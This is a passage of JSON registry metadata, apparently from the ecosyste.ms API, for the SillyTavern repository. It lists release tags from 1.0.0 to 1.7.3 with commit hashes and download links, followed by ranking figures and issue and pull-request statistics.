nifests"},{"name":"1.7.3","sha":"2bbc40a79671bc29dc168f5fa51a2597c47afcba","kind":"commit","published_at":"2023-06-29T09:20:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3/manifests"},{"name":"1.7.2","sha":"3b99f7839bac82da6d9ad6e01e25a1b31be5f0ca","kind":"commit","published_at":"2023-06-28T22:10:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2/manifests"},{"name":"1.7.1","sha":"b09ea054dfbe457d00c57c0246f96ee46ce3c521","kind":"commit","published_at":"2023-06-15T21:24:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"a7a7ec051834f5ee1bdd8273b978273d18ba07bd","kind":"commit","published_at":"2023-06-15T12:11:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0/manifests"},{"name":"1.6.8","sha":"6541d3e741f78cffec94b8a4f01d98339fa46316","kind":"commit","published_at":"2023-06-09T19:35:17.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8/manifests"},{"name":"1.6.7","sha":"b1d5637fcf394331bdd541028ee52715474c7a52","kind":"commit","published_at":"2023-06-07T20:40:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7/manifests"},{"name":"1.6.6","sha":"c299ef0a86e1a1a0eba2ae9ad582bbae70c03d66","kind":"commit","published_at":"2023-06-04T01:29:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6/manifests"},{"name":"1.6.5","sha":"77f76ae31520477ea4da0ed4cf49780295654077","kind":"commit","published_at":"2023-06-01T15:55:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5/manifests"},{"name":"1.6.4","sha":"bf7f04e3b29a04c86a743eb681881736196d07ea","kind":"commit","published_at":"2023-06-01T08:18:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"83c875d8dcac579d271a985d5ccedd69bd257388","kind":"commit","published_at":"2023-06-01T07:13:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3/manifests"},{"name":"1.6.2","sha":"b359dd1e81e653a90cd04a2b61cc71d8b93e66ef","kind":"commit","published_at":"2023-05-30T23:09:54.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"747567466f39658a26066d13be37ed16893fee8d","kind":"commit","published_at":"2023-05-30T22:24:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"9ff643c489d3d18c0f562004a2d80973a1a0efb7","kind":"commit","published_at":"2023-05-30T17:40:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0/manifests"},{"name":"1.5.5","sha":"061bad7d1fe8fc929b78d14471e81da503f3b645","kind":"commit","published_at":"2023-05-22T09:04:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5/manifests"},{"name":"1.5.4","sha":"da76933c9514bd0efb374843ac5170c52ff915c5","kind":"commit","published_at":"2023-05-19T08:57:03.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4/manifests"},{"name":"1.5.3","sha":"419afc783ea106910aff28d4cb4a41ca80016df5","kind":"commit","published_at":"2023-05-14T18:54:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"88a726d9ad906c1dcd61f8ff9069513f7fda5474","kind":"commit","published_at":"2023-05-14T14:23:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"08be78620d24b17b3ceb78cd308838877b18d1c4","kind":"commit","published_at":"2023-05-12T17:52:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1/manifests"},{"name":"1.5.0-preview","sha":"4028ddb90ad7d38ac37551c2f41991b2c6300ed0","kind":"commit","published_at":"2023-05-08T16:06:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview/manifests"},{"name":"1.4.9","sha":"9d9aac014a1c2e526038a24c121e23cdab6317a8","kind":"commit","published_at":"2023-04-26T08:57:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9/manifests"},{"name":"1.4.8","sha":"21586ab139e4708104308aaabc3b17937d4dbd08","kind":"commit","published_at":"2023-04-22T18:49:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8/manifests"},{"name":"1.4.1","sha":"3b74d5ace700ff452d9fea8eac2aef50291f8306","kind":"commit","published_at":"2023-04-21T20:33:40.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"be307b11078936f5c9f7d8866a1b7ee5d528d83e","kind":"commit","published_at":"2023-04-20T20:16:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0/manifests"},{"name":"1.4.0-preview","sha":"2e5ce1485bc27929178f91bf33937173028fac7d","kind":"commit","published_at":"2023-04-18T21:52:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview/manifests"},{"name":"1.3.3","sha":"415af67ea3a7335c634457595d28fbcf9dc97edb","kind":"commit","published_at":"2023-04-11T20:08:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3/manifests"},{"name":"1.3.2","sha":"7277622c249f7ca865bb1f29b062e6e8b2228f56","kind":"commit","published_at":"2023-04-10T18:45:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"66f7d55f767eb480b8e75676156992f976d5fced","kind":"commit","published_at":"2023-04-09T21:08:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1/manifests"},{"name":"1.3.0","sha":"0f11aab089a9426bea915cb2bd10d5d7e0f52e1f","kind":"commit","published_at":"2023-04-09T17:18:19.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0/manifests"},{"name":"1.2.3","sha":"41a41732d185c69926ca4cc048a5bd5a7ee99e32","kind":"commit","published_at":"2023-03-31T18:57:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"61267107952a7fd446d8746ca4e305deea8421a8","kind":"commit","published_at":"2023-03-30T16:49:33.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"1dc92ffff5597ed025c42b9333bcf5053c49cbb8","kind":"commit","published_at":"2023-03-30T08:58:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"f9a6cfc8065b112014bf7eea15fee79b52604ab8","kind":"commit","published_at":"2023-03-29T19:14:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.0/manifests"},{"name":"1.1.1","sha":"100e572aaee00d379d77846d8efd2180b97e4865","kind":"commit","published_at":"2023-03-22T22:12:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.1/manifests"},{"name":"1.1.0","sha":"68452e6c08cb28aa194a4ca8d1d5e67d7a310fea","kind":"commit","published_at":"2023-03-20T16:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.1.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.1.0/manifests"},{"name":"1.0.5","sha":"c617b7e7d5cc94874342874fd99a932a1329b5a8","kind":"commit","published_at":"2023-03-16T08:46:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.5/manifests"},{"name":"1.0.4","sha":"c1699b4193dc7862ade0fa43bfbb86df9058c4f3","kind":"commit","published_at":"2023-03-14T14:24:24.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.4/manifests"},{"name":"1.0.3","sha":"abe5aa7cc0d53862cda4f55da5065bed5ce3671c","kind":"commit","published_at":"2023-03-12T20:40:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.3/manifests"},{"name":"1.0.2","sha":"93d9af931a0852bf223ebbc63fde144f589a4189","kind":"commit","published_at":"2023-03-12T19:48:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"2f76bbb7d6f5fd9a3977c8c9a2258d57ddba94e9","kind":"commit","published_at":"2023-03-12T19:42:14.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"74647ab270b1c2068c5a04b5a887729b4b96139b","kind":"commit","published_at":"2023-03-12T14:01:29.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.0.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-10-24T15:48:09.912Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":4.553458697393864,"dependent_packages_count":4.262475933204417,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.407967315299141},"purl":"pkg:golang/github.com/SillyTavern/SillyTavern","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/SillyTavern/SillyTavern","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/SillyTavern/SillyTavern","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/SillyTavern/SillyTavern/dependencies","status":"removed","funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-22T02:32:22.769Z","issues_count":1531,"pull_requests_count":1944,"avg_time_to_close_issue":9650678.166889185,"avg_time_to_close_pull_request":694801.3912655972,"issues_closed_count":749,"pull_requests_closed_count":1122,"pull_request_authors_count":467,"issue_authors_count":923,"avg_comments_per_issue":2.001959503592423,"avg_comments_per_pull_request":1.1378600823045266,"merged_pull_requests_count":768,"bot_issues_count":1,"bot_pull_requests_count":6,"past_year_issues_count":132,"past_year_pull_requests_count":210,"past_year_avg_time_to_close_issue":1789643.7142857143,"past_year_avg_time_to_close_pull_request":2226918.85483871,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":62,"past_year_pull_request_authors_count":146,"past_year_issue_authors_count":124,"past_year_avg_comments_per_issue":1.628787878787879,"past_year_avg_comments_per_pull_request":1.2476190476190476,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":28,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/issues","maintainers":[{"login":"Cohee1207","count":213,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Cohee1207"},{"login":"Wolfsblvt","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"},{"login":"RossAscends","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RossAscends"},{"login":"deffcolony","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/deffcolony"},{"login":"jvstinian","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jvstinian"},{"login":"PikachuEXE","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PikachuEXE"}],"active_maintainers":[{"login":"Wolfsblvt","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FSillyTavern%2FSillyTavern/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2FSillyTavern%2FSillyTavern/version_numbers","latest_version_url":"https://packages.ecosyste.